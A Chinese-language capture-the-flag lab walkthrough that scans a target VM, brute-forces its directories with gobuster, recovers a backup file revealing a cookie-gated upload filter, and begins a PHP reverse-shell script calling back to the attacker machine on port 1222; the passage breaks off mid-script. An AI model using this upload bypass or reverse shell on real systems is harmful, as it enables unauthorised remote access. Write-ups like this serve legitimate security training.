环境
靶机192.168.19.140
kali攻击机192.168.19.131
工具
nmap netdiscover gobuster 御剑 Xshell msf netcat
流程
用netdiscover对目标网段进行扫描
得到目标主机192.168.19.140
使用nmap对该主机进行端口扫描
得到端口22与80端口是开启的
上80端口看到只有三张图片就对目录进行爆破
gobuster dir -u http://192.168.19.140/ -x html,php,bak,txt --wordlist /usr/share/wordlist/dirbusters/directory-list-2.3-medium.txt
http://192.168.19.140/dashboard.html为一个上传文件的页面
尝试上传shell和php文件都失败了
txt文件可以上传
而目录
http://192.168.19.140/owls/
则为上传的目录
http://192.168.19.140/ajax.php
是个空网页
查看源码在最下面有几行代码
根据经验这个网页一定有东西果然用御剑扫到
http://192.168.19.140/ajax.php.bak拷贝文件
打开该文件是段过滤上传文件的代码
代码审计大概意思就是当满足这个带有cookie键值为admin=&G6u@B6uDXMq&Ms,再加一个大写字符时是可以上传pdf,php,txt文件的
那就直接burpsuite抓包改包
先准备好反弹shell(找了好几个脚本终于这个可以反弹泪目)
<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = '192.168.19.131';
$port = '1222';
$descriptorspec = array(0 => array("pipe","r"),